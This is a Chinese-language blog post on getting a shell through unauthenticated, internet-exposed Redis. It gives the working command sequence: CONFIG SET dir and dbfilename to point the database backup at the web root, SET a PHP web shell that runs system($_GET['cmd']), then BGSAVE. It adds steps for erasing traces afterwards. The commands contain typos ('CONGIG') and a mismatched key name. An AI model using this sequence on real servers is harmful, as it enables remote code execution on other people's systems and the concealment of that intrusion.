redis滲透中的getshell問題總結


0x00 前言
redis現在很多都是直接對外開放端口,從外網無需任何驗證即可直接訪問到。相關的例子可以從shodan或者zoomeye上找到。那麼問題來了,作爲一個內存數據庫,redis上肯定也有很多敏感信息,比如redis用於做session的存儲,可能導致敏感信息泄露。不過最近研究redis從烏雲社區和drops上看到有人getshell,思路比較有趣,特地寫一下總結。
 
0x01 redis端口探測
6379
判斷時,使用python客戶端進行掃描,或者直接在瀏覽器上訪問6379查看banner信息:
 
0x02 本地裝一個cli
運行redis-cli -h [hostname] -p [port]
比如10.10.10.1的6379是開放的,那麼連接:
redis-cli -h 10.10.10.1進入redis的交互shell。
 
0x03 利用redis寫入shell
條件:
(1)redis服務器上有web服務器
(2)web根目錄已知
原理:
redis中有一種數據備份的方式是備份至.rdb文件,在配置文件中的dbfilename中
這種備份方式是根據時間的頻率來進行保存的。
但是redis中有個config set命令可以修改redis運行時的配置選項。
其中redis.conf中有個dir選項可以選擇保存dump.rdb的目錄,默認是當前目錄:
我們可以控制dir和dbfilename選項,將shell寫入到網站的根目錄(假設爲/var/www/html)下:
CONFIG SET dir /var/www/html     # 修改備份目錄
CONGIG SET dbfilename shell.php  # 修改備份文件名爲我們的shell名
創建一個字符串,這樣在備份時可以寫入備份文件中。
SET shell "<?php system($_GET['cmd']);?>"
將數據備份到磁盤中:
BGSAVE
 
 
0x04 清除痕跡
(1)刪除key
(2)將dir和dbfilename更爲原樣
最好使用config get事先看看原來的值是啥。
DEL payload
CONFIG SET dir /usr/local/redis
CONGIG SET dbfilename dump.rdb
0x05 測試
訪問shell:
0x06 問題
(1)一個是有人在drops上說備份的數據文件默認權限是0600,但是本地使用root運行redis沒有這個權限問題,可以成功寫入。
(2)一般來說,redis中使用備份數據的時候,會把以前的數據完整備份一遍,也就是說這個數據庫持久化文件很可能會非常大,apache讀不讀的出來還是一回事兒,太大說不定直接阻塞down掉。一種方法是將全部的數據備份,再flushall,再備份導出shell,然後利用第一步的持久化文件進行恢復,這樣做可能會造成一定的數據丟失,對站點造成損害,還是不推薦使用。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章